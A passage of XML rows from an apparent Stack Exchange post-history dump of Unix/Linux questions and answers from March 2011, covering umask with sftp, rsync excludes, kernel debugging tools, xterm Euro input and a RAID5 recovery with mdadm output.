  <row Id="22308" PostHistoryTypeId="4" PostId="9349" RevisionGUID="b5f1a1dc-93a9-40b2-beff-3ce4f8405dff" CreationDate="2011-03-16T13:49:50.477" UserId="2511" Comment="edited title" Text="Why are files in my home dir being created as world-writable despite a more-restrictive umask?" />
  <row Id="22309" PostHistoryTypeId="4" PostId="9361" RevisionGUID="10751c2a-0aec-4181-8bcf-7f3dd96ef37b" CreationDate="2011-03-16T14:00:17.390" UserId="2511" Comment="edited title" Text="What does &quot;-&quot; mean as an argument to a command?" />
  <row Id="22310" PostHistoryTypeId="2" PostId="9365" RevisionGUID="f7e7f2ac-7268-4853-878d-beaf753b9ac1" CreationDate="2011-03-16T14:04:41.177" UserId="2511" Text="Also note that if you just want to look for _one_ matching regex, GNU grep with `--color` will work — just pipe your `tail` output through that." />
  <row Id="22311" PostHistoryTypeId="2" PostId="9366" RevisionGUID="186e035e-130d-451d-b55f-428d321f6f67" CreationDate="2011-03-16T14:09:08.257" UserId="5685" Text="As you mentionned in the link, grep --color=always only works for one pattern. That said, I don't believe that such a tool exists." />
  <row Id="22312" PostHistoryTypeId="2" PostId="9367" RevisionGUID="1938da18-630a-41b3-8450-aa4b82d32e3f" CreationDate="2011-03-16T14:10:32.530" UserId="2972" Text="If your disks are fast you may want to parallelize the grep:&#xD;&#xA;&#xD;&#xA;    find . -type f -print0 | parallel -0 grep foo&#xD;&#xA;&#xD;&#xA;Watch the intro video to learn more about GNU Parallel: http://www.youtube.com/watch?v=OpaiGYxkSuQ" />
  <row Id="22313" PostHistoryTypeId="2" PostId="9368" RevisionGUID="95aa43bb-862d-4de0-ae17-af9cf1e38afb" CreationDate="2011-03-16T14:14:22.747" UserId="5685" Text="In perl:&#xD;&#xA;&#xD;&#xA;&gt; cat &lt;somefile&gt; | perl -ne 'while(&lt;&gt;) {&#xD;&#xA;&gt; push @a, $_; } foreach (reverse(@a)) {&#xD;&#xA;&gt; print; }'" />
  <row Id="22314" PostHistoryTypeId="2" PostId="9369" RevisionGUID="05938e93-2ac1-46c7-98f4-c9fbaafd981d" CreationDate="2011-03-16T14:22:43.697" UserId="4542" Text="JTAG probes do exist, but these are fairly expensive (and the companies building them have exclusive contracts). The best way to debug kernel code is to start it in kvm or qemu with gdbserver inside the emulation." />
  <row Id="22315" PostHistoryTypeId="25" PostId="9361" RevisionGUID="0e37664f-2653-4f39-bb29-19447df12295" CreationDate="2011-03-16T14:31:20.017" Comment="http://twitter.com/#!/StackUnix/status/48028577836449792" />
  <row Id="22316" PostHistoryTypeId="2" PostId="9370" RevisionGUID="6a16307f-3115-415a-890d-022cab4f7566" CreationDate="2011-03-16T14:33:51.530" UserId="2511" Text="This is because in the second case, you're rsyncing the contents of `/e/`, and the filter pattern is rooted there, not up one level. So, you need to remove that from your exclude:&#xD;&#xA;&#xD;&#xA;    rsync -a --exclude=/garbage /e/ /dest/e" />
  <row Id="22317" PostHistoryTypeId="4" PostId="9362" RevisionGUID="450a3448-44b2-4e1f-8fed-892968a6433a" CreationDate="2011-03-16T14:34:47.550" UserId="2511" Comment="edited title" Text="Why does this exclude pattern for rsync give different results when the source directory has a trailing slash?" />
  <row Id="22324" PostHistoryTypeId="2" PostId="9372" RevisionGUID="98989603-0e2f-4253-9d52-ba6256933d9f" CreationDate="2011-03-16T15:29:21.740" UserId="5775" Text="I was not able to install Adobe Flash Player on Fedora 14 64 bit machine." />
  <row Id="22325" PostHistoryTypeId="1" PostId="9372" RevisionGUID="98989603-0e2f-4253-9d52-ba6256933d9f" CreationDate="2011-03-16T15:29:21.740" UserId="5775" Text="how to install adobe flash player plugin on fedora 64 bit?" />
  <row Id="22326" PostHistoryTypeId="3" PostId="9372" RevisionGUID="98989603-0e2f-4253-9d52-ba6256933d9f" CreationDate="2011-03-16T15:29:21.740" UserId="5775" Text="élinuxàéfedoraàéflashàéadobeöflashà" />
  <row Id="22327" PostHistoryTypeId="2" PostId="9373" RevisionGUID="948cf829-568e-4482-8808-9e5aadf713e1" CreationDate="2011-03-16T15:30:40.930" UserId="5780" Text="To clear just one entry you need a different flag:&#xD;&#xA;&#xD;&#xA;    hash -d svnsync&#xD;&#xA;&#xD;&#xA;The -r flag doesn't take a parameter and will always delete the entire cache.  &#xD;&#xA;(At least in bash 3.2.39 on debian lenny)" />
  <row Id="22328" PostHistoryTypeId="2" PostId="9374" RevisionGUID="4c70e148-b7ee-4dae-9c2c-f82662e59715" CreationDate="2011-03-16T15:39:53.990" UserId="3963" Text="My personal flavor for Linux Kernel development is Debian. Now for your points:&#xD;&#xA;&#xD;&#xA; 1. As you probably guessed Ubuntu doesn't bring nothing new to kernel ease kernel development afaik, apart from what's already available in Debian. For e.g. make_kpkg is a Debian feat. and not Ubuntu. Here are some links to get you started on common Linux Kernel development tasks in Debian:&#xD;&#xA; - [Chapter 4 - Common kernel-related tasks](http://kernel-handbook.alioth.debian.org/ch-common-tasks.html) of [Debian Linux Kernel Handbook](http://kernel-handbook.alioth.debian.org/index.html)&#xD;&#xA; - [Chapter 10 - Debian and the kernel](http://www.debian.org/doc/FAQ/ch-kernel.en.html) of [The Debian GNU/Linux FAQ ](http://www.debian.org/doc/FAQ/index.en.html)&#xD;&#xA;&#xD;&#xA; 2. The easiest way to do kernel debugging is using QEMU and gdb. Some links to get you started:&#xD;&#xA; - http://files.meetup.com/1590495/debugging-with-qemu.pdf&#xD;&#xA; - http://www.cs.rochester.edu/~sandhya/csc256/assignments/qemu_linux.html&#xD;&#xA;   &#xD;&#xA;    Though, you should be aware that this method is not viable for certain scenarios like specific hardware issues debugging and such, for which you would be better of using physical serial debugging and real hardware. For this you can use [KGDB](http://kgdb.linsyssoft.com/intro.htm)(it works using ethernet too). [KDB](http://oss.sgi.com/projects/kdb/) is also a good choice. Oh, and by the way, both KGDB and KDB have been [merged](http://oss.sgi.com/projects/kdb/) into the Linux Kernel. More on those two [here](http://kernel.org/pub/linux/kernel/people/jwessel/kdb/).&#xD;&#xA;&#xD;&#xA; 3. See 2. Unfortunately there is not best here, since each tool/method has its pro's and con's.&#xD;&#xA;&#xD;&#xA;Hope this helps you start your crazy journey in Linux Kernel Development.&#xD;&#xA;" />
  <row Id="22329" PostHistoryTypeId="5" PostId="9372" RevisionGUID="76c042e2-3910-40a6-8650-ad5c0bff813c" CreationDate="2011-03-16T15:45:57.330" UserId="73" Comment="added 1 characters in body; edited title" Text="I was not able to install Adobe Flash Player on Fedora 14, 64-bit machine." />
  <row Id="22330" PostHistoryTypeId="4" PostId="9372" RevisionGUID="76c042e2-3910-40a6-8650-ad5c0bff813c" CreationDate="2011-03-16T15:45:57.330" UserId="73" Comment="added 1 characters in body; edited title" Text="How to install the Adobe Flash player plugin on Fedora 64-bit?" />
  <row Id="22331" PostHistoryTypeId="5" PostId="9374" RevisionGUID="2399f420-1ea7-4e2a-9391-8c2f6ecd2bd1" CreationDate="2011-03-16T15:54:43.427" UserId="3963" Comment="add UML" Text="My personal flavor for Linux Kernel development is Debian. Now for your points:&#xD;&#xA;&#xD;&#xA; 1. As you probably guessed Ubuntu doesn't bring nothing new to kernel ease kernel development afaik, apart from what's already available in Debian. For e.g. make_kpkg is a Debian feat. and not Ubuntu. Here are some links to get you started on common Linux Kernel development tasks in Debian:&#xD;&#xA; - [Chapter 4 - Common kernel-related tasks](http://kernel-handbook.alioth.debian.org/ch-common-tasks.html) of [Debian Linux Kernel Handbook](http://kernel-handbook.alioth.debian.org/index.html)&#xD;&#xA; - [Chapter 10 - Debian and the kernel](http://www.debian.org/doc/FAQ/ch-kernel.en.html) of [The Debian GNU/Linux FAQ ](http://www.debian.org/doc/FAQ/index.en.html)&#xD;&#xA;&#xD;&#xA; 2. The easiest way to do kernel debugging is using QEMU and gdb. Some links to get you started:&#xD;&#xA; - http://files.meetup.com/1590495/debugging-with-qemu.pdf&#xD;&#xA; - http://www.cs.rochester.edu/~sandhya/csc256/assignments/qemu_linux.html&#xD;&#xA;   &#xD;&#xA;    Though, you should be aware that this method is not viable for certain scenarios like specific hardware issues debugging and such, for which you would be better of using physical serial debugging and real hardware. For this you can use [KGDB](http://kgdb.linsyssoft.com/intro.htm)(it works using ethernet too). [KDB](http://oss.sgi.com/projects/kdb/) is also a good choice. Oh, and by the way, both KGDB and KDB have been [merged](http://oss.sgi.com/projects/kdb/) into the Linux Kernel. More on those two [here](http://kernel.org/pub/linux/kernel/people/jwessel/kdb/).&#xD;&#xA;    Another cool method, which works marvelously for non-hardware related issues, is using the [User-mode Linux Kernel](http://user-mode-linux.sourceforge.net/). Running the Kernel in user-mode as any other process [allows you to debug it just like any other program](http://user-mode-linux.sourceforge.net/old/UserModeLinux-HOWTO-11.html)([examples](http://user-mode-linux.sourceforge.net/old/UserModeLinux-HOWTO-12.html)). More on User-mode  Linux [here](http://www.ibm.com/developerworks/linux/tutorials/l-uml/). UML is part of the Linux Kernel since 2.6.0 , thus you can build any official kernel version above that into UML mode by [following these steps](http://user-mode-linux.sourceforge.net/source.html).&#xD;&#xA;&#xD;&#xA; 3. See 2. Unfortunately there is not best here, since each tool/method has its pro's and con's.&#xD;&#xA;&#xD;&#xA;Hope this helps you start your crazy journey in Linux Kernel Development.&#xD;&#xA;" />
  <row Id="22332" PostHistoryTypeId="2" PostId="9375" RevisionGUID="ef2561d3-42c4-405b-8a9b-02145d9ebca0" CreationDate="2011-03-16T15:56:41.020" UserId="5213" Text="First of all I'm working on a keyboard using a QWERTY layout.&#xD;&#xA;&#xD;&#xA;Now once in a while I need to get the Euro (€) symbol in my terminal (typically in a xterm).&#xD;&#xA;&#xD;&#xA;If I cut'n'paste the Euro symbol, it shows up fine in my xterms, which have their locale set like this:&#xD;&#xA;&#xD;&#xA;    $ echo $XTERM_LOCALE &#xD;&#xA;    en_US.UTF-8&#xD;&#xA;&#xD;&#xA;How can I configure my Linux (Debian / X) so that I can easily (and fastly) output an Euro symbol, without messing my setup? (for example, I'm not switching to a non-QWERTY layout).&#xD;&#xA;&#xD;&#xA;I don't care if it only works in X / xterm, that would be good enough for me.&#xD;&#xA;&#xD;&#xA;Ideally I'd need a way to configure a shortcut that I can change to my will, to be sure it wouldn't interfere with my usual shortcuts.&#xD;&#xA;&#xD;&#xA;Say, if I want to have *ctrl+alt+e* to output:€ in my xterm, how would I go about it?&#xD;&#xA;" />
  <row Id="22333" PostHistoryTypeId="1" PostId="9375" RevisionGUID="ef2561d3-42c4-405b-8a9b-02145d9ebca0" CreationDate="2011-03-16T15:56:41.020" UserId="5213" Text="Fastest way to get an Euro symbol at a prompt?" />
  <row Id="22334" PostHistoryTypeId="3" PostId="9375" RevisionGUID="ef2561d3-42c4-405b-8a9b-02145d9ebca0" CreationDate="2011-03-16T15:56:41.020" UserId="5213" Text="éxtermàéxà" />
  <row Id="22335" PostHistoryTypeId="2" PostId="9376" RevisionGUID="de4fe8e7-23d4-4de1-801e-94422e51648f" CreationDate="2011-03-16T16:15:16.743" UserId="591" Text="Hi - Sorry I was being thick in the comments. the sftp-server is being run by root and you pick up root's umask. You should be able to fix this by editing your `/etc/ssh/sshd_config` file and changing the line&#xD;&#xA;&#xD;&#xA;`Subsystem sftp /usr/lib/openssh/sftp-server`&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;`Subsystem sftp /bin/sh -c ‘umask 0002; /usr/libexec/openssh/sftp-server`&#xD;&#xA;" />
  <row Id="22336" PostHistoryTypeId="2" PostId="9377" RevisionGUID="e6a3dfd3-5901-4475-aa66-7349ad2072dd" CreationDate="2011-03-16T16:27:08.777" UserId="5785" Text="May be this could help:&#xD;&#xA;&#xD;&#xA;&gt; If the euro character is not&#xD;&#xA;&gt; represented in your X terminal&#xD;&#xA;&gt; emulator, you can change the default&#xD;&#xA;&gt; font by changing either the users'&#xD;&#xA;&gt; configuration files (.Xdefaults or&#xD;&#xA;&gt; .Xresources) or the system-wide&#xD;&#xA;&gt; configuration at&#xD;&#xA;&gt; /etc/X11/app-defaults/XTerm:&#xD;&#xA;&gt; &#xD;&#xA;&gt;      *font:     -misc-fixed-medium-r-normal-*-*-120-*-*-c-*-iso8859-15&#xD;&#xA;&gt;      *VT100*font2:           -misc-fixed-medium-r-normal-*-*-70-*-*-c-*-iso8859-15&#xD;&#xA;&gt;      *VT100*font3:           -misc-fixed-medium-r-normal-*-*-100-*-*-c-*-iso8859-15&#xD;&#xA;&gt;      *VT100*font4:           -misc-fixed-medium-r-normal-*-*-120-*-*-c-*-iso8859-15&#xD;&#xA;&gt;      *VT100*font5:           -misc-fixed-medium-r-normal-*-*-140-*-*-c-*-iso8859-15&#xD;&#xA;&gt;      *VT100*font6:           -misc-fixed-medium-r-normal-*-*-200-*-*-c-*-iso8859-15&#xD;&#xA;&gt; In /etc/X11/app-defaults/XTerm, make&#xD;&#xA;&gt; sure you replace old lines with these&#xD;&#xA;&gt; options.&#xD;&#xA;&gt; &#xD;&#xA;&gt; After editing a .Xdefaults file,&#xD;&#xA;&gt; reload it with xrdb -merge&#xD;&#xA;&gt; ~/.Xdefaults. (Similarly for&#xD;&#xA;&gt; .Xresources.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note that the derivative programs also&#xD;&#xA;&gt; use the font resource to set the&#xD;&#xA;&gt; default font, so the procedure is&#xD;&#xA;&gt; analogous.&#xD;&#xA;&#xD;&#xA;FROM: [http://www.debian.org/doc/manuals/debian-euro-support/ch-applications.en.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/doc/manuals/debian-euro-support/ch-applications.en.html" />
  <row Id="22337" PostHistoryTypeId="2" PostId="9378" RevisionGUID="b534071a-5ff8-42d3-beae-8006086bb407" CreationDate="2011-03-16T16:34:20.427" UserId="2780" Text="1. `command -h`&#xD;&#xA;---------------&#xD;&#xA;If you don't know and the following rules of thumbs don't work, use `-h` for help; it works 97%&lt;sup&gt;1&lt;/sup&gt; of the time. Other help flags possibles: `--help`, `-?` (`/?`, `/h`)&#xD;&#xA;&#xD;&#xA;2. `command --flag1 --flag2 arg1 arg2 file1 file2` (&lt;b&gt;C&lt;/b&gt;l&lt;b&gt;O&lt;/b&gt;verle&lt;b&gt;AF &lt;/b&gt;)&#xD;&#xA;----------------------------------------&#xD;&#xA;Usually flags (options) are before arguments and files list.&#xD;&#xA;&#xD;&#xA;/me making a mnemonics: `grep 'c.*o.*a.*f' /usr/share/dict/words`&#xD;&#xA;&#xD;&#xA;&lt;b&gt;C&lt;/b&gt;l&lt;b&gt;O&lt;/b&gt;verle&lt;b&gt;AF &lt;/b&gt;(command, option, args, files) &#xD;&#xA;&#xD;&#xA;- Examples:&#xD;&#xA; - `grep -ri text dir1 dir2`&#xD;&#xA; - `awk '{ print $2 }' file1 file2`&#xD;&#xA;- Exceptions:&#xD;&#xA; - inverted args and files: `find dir1 dir2 -name '*.bar'`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3. `command source1 source2 destination`&#xD;&#xA;-------------------------------&#xD;&#xA;Command to move/copy/link/... usually have the `source` then the `destination` in that order on the line.&#xD;&#xA;&#xD;&#xA;- Examples:&#xD;&#xA; - `ln -s source destination`&#xD;&#xA;- Exception:&#xD;&#xA; - `dd if=source of=destination`&#xD;&#xA;&#xD;&#xA;4. `command1 | command2 -`&#xD;&#xA;--------------------------&#xD;&#xA;Some commands can use standard input/output as if it was a file.&#xD;&#xA;&#xD;&#xA;- Examples:&#xD;&#xA; - `ls | vim -`&#xD;&#xA; - `dd if=/dev/sda | file -`&#xD;&#xA; - `wget -q -O - http://unix.stackexchange.com | grep '&lt;title&gt;'`&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt; result from a long and painful personal analysis. After 10 years of man pages reading, I came to this accurate equation: `(100-1d6)%`" />
  <row Id="22338" PostHistoryTypeId="2" PostId="9379" RevisionGUID="5cf24eaf-a579-4c2a-b376-23f1e273f365" CreationDate="2011-03-16T16:38:02.340" UserId="5774" Text="As far as I could investigate there are not major issues with the LPD feature, but maybe the reason is this:&#xD;&#xA;&#xD;&#xA;https://trac.transmissionbt.com/ticket/3208&#xD;&#xA;&#xD;&#xA;cheers!" />
  <row Id="22339" PostHistoryTypeId="5" PostId="8861" RevisionGUID="3f1adff5-4b3a-4a96-8c16-1d66983f48ba" CreationDate="2011-03-16T17:01:02.673" UserId="4477" Comment="added superblock parser; added 26 characters in body" Text="Some time ago I had a RAID5 system at home. One of the 4 disks failed but after removing and putting it back it seemed to be OK so I started a resync. When it finished I realized, to my horror, that 3 out of 4 disks failed. However I don't belive that's possible. There are multiple partitions on the disks each part of a different RAID array.&#xD;&#xA;&#xD;&#xA;* md0 is a RAID1 array comprised of sda1, sdb1, sdc1 and sdd1.&#xD;&#xA;* md1 is a RAID5 array comprised of sda2, sdb2, sdc2 and sdd2.&#xD;&#xA;* md2 is a RAID0 array comprised of sda3, sdb3, sdc3 and sdd3.&#xD;&#xA;&#xD;&#xA;md0 and md2 reports all disks up while md1 reports 3 failed (sdb2, sdc2, sdd2). It's my uderstanding that when hard drives fail all the partitions should be lost not just the middle ones.&#xD;&#xA;&#xD;&#xA;At that point I turned the computer off and unplugged the drives. Since then I was using that computer with a smaller new disk.&#xD;&#xA;&#xD;&#xA;Is there any hope of recovering the data? Can I somehow convince mdadm that my disks are in fact working? The only disk that may really have a problem is sdc but that one too is reported up by the other arrays.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I finally got a chance to connect the old disks and boot this machine from SystemRescueCd. Everything above was written from memory. Now I have some hard data. Here is the output of `mdadm --examine /dev/sd*2`&#xD;&#xA;&#xD;&#xA;    /dev/sda2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:40:48 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 3&#xD;&#xA;    Working Devices : 4&#xD;&#xA;     Failed Devices : 1&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48835 - correct&#xD;&#xA;             Events : 53204&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     0       8        2        0      active sync   /dev/sda2&#xD;&#xA;    &#xD;&#xA;       0     0       8        2        0      active sync   /dev/sda2&#xD;&#xA;       1     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdb2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 2&#xD;&#xA;    Working Devices : 3&#xD;&#xA;     Failed Devices : 1&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b4894a - correct&#xD;&#xA;             Events : 53205&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdc2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 2&#xD;&#xA;     Failed Devices : 2&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48975 - correct&#xD;&#xA;             Events : 53210&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       0        0        1      faulty removed&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdd2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 2&#xD;&#xA;     Failed Devices : 2&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48983 - correct&#xD;&#xA;             Events : 53210&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       0        0        1      faulty removed&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;&#xD;&#xA;It appears that things have changed since the last boot. If I'm reading this correctly sda2, sdb2 and sdc2 are working and contain synchronized data and sdd2 is spare. I distinctly remember seeing 3 failed disks but this is good news. Yet the array still isn't working:&#xD;&#xA;&#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md125 : inactive sda2[0](S) sdb2[1](S) sdc2[2](S)&#xD;&#xA;          1875194880 blocks&#xD;&#xA;           &#xD;&#xA;    md126 : inactive sdd2[4](S)&#xD;&#xA;          625064960 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;md0 appears to be renamed to md127. md125 and md126 are very strange. They should be one array not two. That used to be called md1. md2 is completely gone but that was my swap so I don't care.&#xD;&#xA;&#xD;&#xA;I can understand the different names and it doesn't really matter. But why is an array with 3 &quot;active sync&quot; disks unreadable? And what's up with sdd2 being in a separate array?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I tried the following after backing up the superblocks:&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --stop /dev/md125&#xD;&#xA;    mdadm: stopped /dev/md125&#xD;&#xA;    root@sysresccd /root % mdadm --stop /dev/md126&#xD;&#xA;    mdadm: stopped /dev/md126&#xD;&#xA;&#xD;&#xA;So far so good. Since sdd2 is spare I don't want to add it yet.&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c}2 missing &#xD;&#xA;    mdadm: cannot open device missing: No such file or directory&#xD;&#xA;    mdadm: missing has no superblock - assembly aborted&#xD;&#xA;&#xD;&#xA;Apparently I can't do that.&#xD;&#xA;&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c}2        &#xD;&#xA;    mdadm: /dev/md1 assembled from 1 drive - not enough to start the array.&#xD;&#xA;    root@sysresccd /root % cat /proc/mdstat &#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md1 : inactive sdc2[2](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;          1875194880 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;That didn't work either. Let's try with all the disks.&#xD;&#xA;&#xD;&#xA;    mdadm --stop /dev/md1&#xD;&#xA;    mdadm: stopped /dev/md1&#xD;&#xA;    root@sysresccd /root % mdadm --assemble /dev/md1 /dev/sd{a,b,c,d}2&#xD;&#xA;    mdadm: /dev/md1 assembled from 1 drive and 1 spare - not enough to start the array.&#xD;&#xA;    root@sysresccd /root % cat /proc/mdstat                           &#xD;&#xA;    Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] &#xD;&#xA;    md1 : inactive sdc2[2](S) sdd2[4](S) sdb2[1](S) sda2[0](S)&#xD;&#xA;          2500259840 blocks&#xD;&#xA;           &#xD;&#xA;    md127 : active raid1 sda1[0] sdd1[3] sdc1[2] sdb1[1]&#xD;&#xA;          64128 blocks [4/4] [UUUU]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;&#xD;&#xA;No luck. Based on [this answer][1] I'm planning to try:&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md1 --assume-clean --metadata=0.90 --bitmap=/root/bitmapfile --level=5 --raid-devices=4 /dev/sd{a,b,c}2 missing&#xD;&#xA;    mdadm --add /dev/md1 /dev/sdd2&#xD;&#xA;&#xD;&#xA;Is it safe?&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I publish the [superblock parser script][2] I used to make that table in the my comment. Maybe someone will find it useful. Thanks for all your help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8980/how-to-raid-mirror-existing-root-partition/9022#9022&#xD;&#xA;  [2]: http://sprunge.us/ebhC" />
  <row Id="22340" PostHistoryTypeId="2" PostId="9380" RevisionGUID="cf9ded47-2a9a-475c-a356-4fb3c3027e8d" CreationDate="2011-03-16T17:11:33.513" UserId="732" Text="Another convention is to use '-' to indicate the end of flags, and the beginning of file names.  That behavior is built-in to the getopt(3) on RedHat 4, at least. I can't find a Red Hat man page that uses '-' to indicate end-of-arguments, they all seem to use '--' to do that.  The awk man page has '--' in that context, so maybe only old &quot;heirloom&quot; Unix or Solaris commands use '-' as a arguments - file names separator." />
  <row Id="22341" PostHistoryTypeId="5" PostId="9335" RevisionGUID="34e2b6c1-9350-4953-8779-580d2ed0dae2" CreationDate="2011-03-16T17:11:56.447" UserId="688" Comment="added 108 characters in body; edited tags" Text="Since version [**2.00**][1], Transmission has [Local Peer Discovery][2] feature, which seems quite useful. I was surprised that it wasn't enabled by default though, so I became concerned about any potential issues it might have.&#xD;&#xA;&#xD;&#xA;  [1]: https://trac.transmissionbt.com/wiki/Changes#version-2.00&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Local_Peer_Discovery&#xD;&#xA;" />
  <row Id="22342" PostHistoryTypeId="6" PostId="9335" RevisionGUID="34e2b6c1-9350-4953-8779-580d2ed0dae2" CreationDate="2011-03-16T17:11:56.447" UserId="688" Comment="added 108 characters in body; edited tags" Text="ébittorrentà" />
  <row Id="22343" PostHistoryTypeId="25" PostId="9375" RevisionGUID="781cbed5-fb7f-4616-8cf3-cb303c9aeb2d" CreationDate="2011-03-16T17:31:19.797" Comment="http://twitter.com/#!/StackUnix/status/48073875480780800" />
